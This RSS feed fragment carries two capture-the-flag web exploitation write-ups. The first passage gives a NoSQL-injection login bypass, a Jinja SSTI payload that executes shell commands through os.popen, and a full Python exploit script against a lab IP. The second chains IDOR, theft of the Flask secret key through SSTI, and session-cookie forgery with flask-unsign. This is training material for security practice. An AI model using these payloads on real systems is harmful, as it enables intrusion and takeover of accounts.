&lt;span&gt;&lt;span&gt;-H &lt;/span&gt;&lt;span&gt;&quot;Content-Type: application/json&quot;&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;-d &lt;/span&gt;&lt;span&gt;&apos;{&quot;username&quot;: {&quot;$ne&quot;: null}, &quot;password&quot;: {&quot;$ne&quot;: null}}&apos;&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;-c &lt;/span&gt;&lt;span&gt;cookies.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This returns an admin session cookie like:
&lt;code&gt;eyJ0cmFja2VyX3Rva2VuIjoiOWJhZjkwZDMtMGMyYi00YmM5LWFhN2UtODg4MjBhNWVmMmI3Iiwi...&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;2. SSTI via Log Poisoning&lt;a href=&quot;#2-ssti-via-log-poisoning&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We use a standard Python Jailbreak payload to access &lt;code&gt;os.popen&lt;/code&gt;. The payload uses the &lt;code&gt;url_for&lt;/code&gt; global to access builtins -&amp;gt; &lt;code&gt;import os&lt;/code&gt; -&amp;gt; &lt;code&gt;popen&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SSTI Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{{ url_for.__globals__[&apos;__builtins__&apos;][&apos;__import__&apos;](&apos;os&apos;).popen(&apos;cat /app/data/safe_flag.txt&apos;).read() }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Automated Exploit Script&lt;a href=&quot;#3-automated-exploit-script&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The application logs the User-Agent header of incoming requests. By poisoning our User-Agent with the SSTI payload, we can trigger code execution when the admin views the logs page (&lt;code&gt;/?page=view_log&lt;/code&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;import&lt;/span&gt;&lt;span&gt; re&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Configuration&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;TARGET_URL&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; &quot;http://34.0.14.121:9954&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ADMIN_COOKIE&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;session&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;eyJ0cmFja2VyX3Rva2VuIjoiOWJhZjkwZDMtMGMyYi00YmM5LWFhN2UtODg4MjBhNWVmMmI3IiwidXNlciI6eyIkbmUiOm51bGx9fQ.aX3gEQ.fzHTbnmIqHTQsyY9P0H-InOGGNk&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; solve&lt;/span&gt;&lt;span&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[*] Targeting: &lt;/span&gt;&lt;span&gt;{TARGET_URL}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 1. Inject Payload into User-Agent (Log Poisoning)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    payload &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;{{&lt;/span&gt;&lt;span&gt; url_for.__globals__[&apos;__builtins__&apos;][&apos;__import__&apos;](&apos;os&apos;).popen(&apos;cat /app/data/safe_flag.txt&apos;).read() &lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    headers &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;User-Agent&quot;&lt;/span&gt;&lt;span&gt;: payload&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[*] Sending malicious User-Agent...&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        # We visit the root page so it logs our access (and our malicious User-Agent)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        requests.get(&lt;/span&gt;&lt;span&gt;TARGET_URL&lt;/span&gt;&lt;span&gt; +&lt;/span&gt;&lt;span&gt; &quot;/&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;cookies&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;ADMIN_COOKIE&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;headers&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;headers)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    except&lt;/span&gt;&lt;span&gt; Exception&lt;/span&gt;&lt;span&gt; as&lt;/span&gt;&lt;span&gt; e:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[-] Request failed: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        return&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    # 2. Trigger Execution (Access Logs)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[*] Retrieving logs to trigger SSTI...&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        # Accessing view_log renders the log entries, executing our SSTI payload&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        r &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; requests.get(&lt;/span&gt;&lt;span&gt;TARGET_URL&lt;/span&gt;&lt;span&gt; +&lt;/span&gt;&lt;span&gt; &quot;/?page=view_log&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;cookies&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;ADMIN_COOKIE&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        if&lt;/span&gt;&lt;span&gt; r.status_code &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; 200&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            # 3. Extract Flag&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            # Look for the flag pattern in the response&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            match &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; re.search(&lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;RAIT-CTF&lt;/span&gt;&lt;span&gt;\{&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;*?&lt;/span&gt;&lt;span&gt;\}&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, r.text)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            if&lt;/span&gt;&lt;span&gt; match:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                flag &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; match.group(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;[+] FLAG FOUND: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;flag&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                return&lt;/span&gt;&lt;span&gt; flag&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            else&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;                print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[-] Flag not found in response. Check if payload executed.&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        else&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;            print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[-] Failed to access logs. Status Code: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;r.status_code&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    except&lt;/span&gt;&lt;span&gt; Exception&lt;/span&gt;&lt;span&gt; as&lt;/span&gt;&lt;span&gt; e:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;[-] Error retrieving logs: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; __name__&lt;/span&gt;&lt;span&gt; ==&lt;/span&gt;&lt;span&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    solve()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Flag Retrieval&lt;a href=&quot;#4-flag-retrieval&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Running the script successfully retrieves the flag from the server:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RAIT-CTF{l0g_p01s0n1ng_plu5_sst1_equ4ls_rc3}&lt;/code&gt;&lt;/p&gt;</content:encoded><category>category:Writeups</category><category>category:RAIT-CTF 2026 Finals</category><category>tag:RAIT-CTF</category><category>tag:Web Exploitation</category></item><item><title>Technovate CTF: The Memories Writeup</title><link>https://shubhsec.dev/post/writeups/technovate-web-writeup</link><guid isPermaLink="false">writeups/technovate-web-writeup</guid><description>A multi-step web exploitation chain combining credential leakage, IDOR, SSTI, and Flask session forgery.</description><pubDate>Mon, 06 Jul 2026 16:55:00 GMT</pubDate><content:encoded>&lt;h1&gt;WRITE UP: The Memories [IDOR → SSTI → Session Forgery → Admin → Flag]&lt;a href=&quot;#write-up-the-memories-idor--ssti--session-forgery--admin--flag&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;NOTE : Hints are not a part of write-up.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Overview&lt;a href=&quot;#overview&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This challenge demonstrates a multi-step exploitation chain combining:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Credential leakage&lt;/li&gt;
&lt;li&gt;IDOR (Insecure Direct Object Reference)&lt;/li&gt;
&lt;li&gt;SSTI (Server-Side Template Injection)&lt;/li&gt;
&lt;li&gt;Flask session forgery&lt;/li&gt;
&lt;li&gt;SSTI (Server-Side Template Injection)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Goal: escalate from a low-privileged user (&lt;code&gt;student_7&lt;/code&gt;) to &lt;code&gt;rangrez_admin&lt;/code&gt; and extract the flag.&lt;/p&gt;
&lt;h2&gt;Recon&lt;a href=&quot;#recon&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Checked page source and &lt;code&gt;/static/robots.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Found credentials:
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;username: student_7&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;password: holi123&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Login&lt;a href=&quot;#login&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Login as &lt;code&gt;student_7&lt;/code&gt; to gain access to user-controlled memory.&lt;/p&gt;
&lt;h2&gt;IDOR&lt;a href=&quot;#idor&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Access hidden memory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;/memory/13&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Owned by &lt;code&gt;rangrez_admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Not visible but accessible via direct reference&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SSTI Discovery&lt;a href=&quot;#ssti-discovery&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Application renders user-controlled input via Jinja&lt;/li&gt;
&lt;li&gt;&lt;code&gt;student_x&lt;/code&gt; users → &lt;code&gt;SandboxedEnvironment&lt;/code&gt; (The CTF was set in order to restrict direct flag discovery without session forgery).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rangrez_admin&lt;/code&gt; → full &lt;code&gt;Environment&lt;/code&gt; (no sandbox)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Secret Key Extraction&lt;a href=&quot;#secret-key-extraction&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;From SSTI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{{ config[&apos;SECRET_KEY&apos;] }}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;app.secret_key = &quot;r4ngr3z-arch1v3-k3y-2026&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Session Forgery&lt;a href=&quot;#session-forgery&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Forge cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;flask-unsign --sign --cookie &apos;{&lt;/span&gt;&lt;span&gt;&quot;user&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;rangrez_admin&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;overrides&quot;&lt;/span&gt;&lt;span&gt;: {} }&apos; --secret &apos;r&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;ngr&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;z-arch&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;v&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;-k&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;-2026&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;&quot;user&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;&quot;rangrez_admin&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&quot;overrides&quot;&lt;/span&gt;&lt;span&gt;:{}}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sign using the secret key and replace browser cookie.&lt;/p&gt;
&lt;h2&gt;Admin Access&lt;a href=&quot;#admin-access&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now running in &lt;strong&gt;unsandboxed Jinja environment&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Final SSTI Payloads&lt;a href=&quot;#final-ssti-payloads&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;h3&gt;Payloads&lt;a href=&quot;#payloads&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{{ self.__init__.__globals__[&apos;FLAG&apos;] }} {{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;self.__dict__._TemplateReference__context.get(&apos;FLAG&apos;) }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;a href=&quot;#flag&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;TCHNVTE{1d0r_plus_sst1_rang_d3_d1y4}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded><category>category:Writeups</category><category>category:Technovate CTF</category><category>tag:Web Exploitation</category><category>tag:IDOR</category><category>tag:SSTI</category><category>tag:Flask</category><category>tag:Session Forgery</category></item></channel></rss>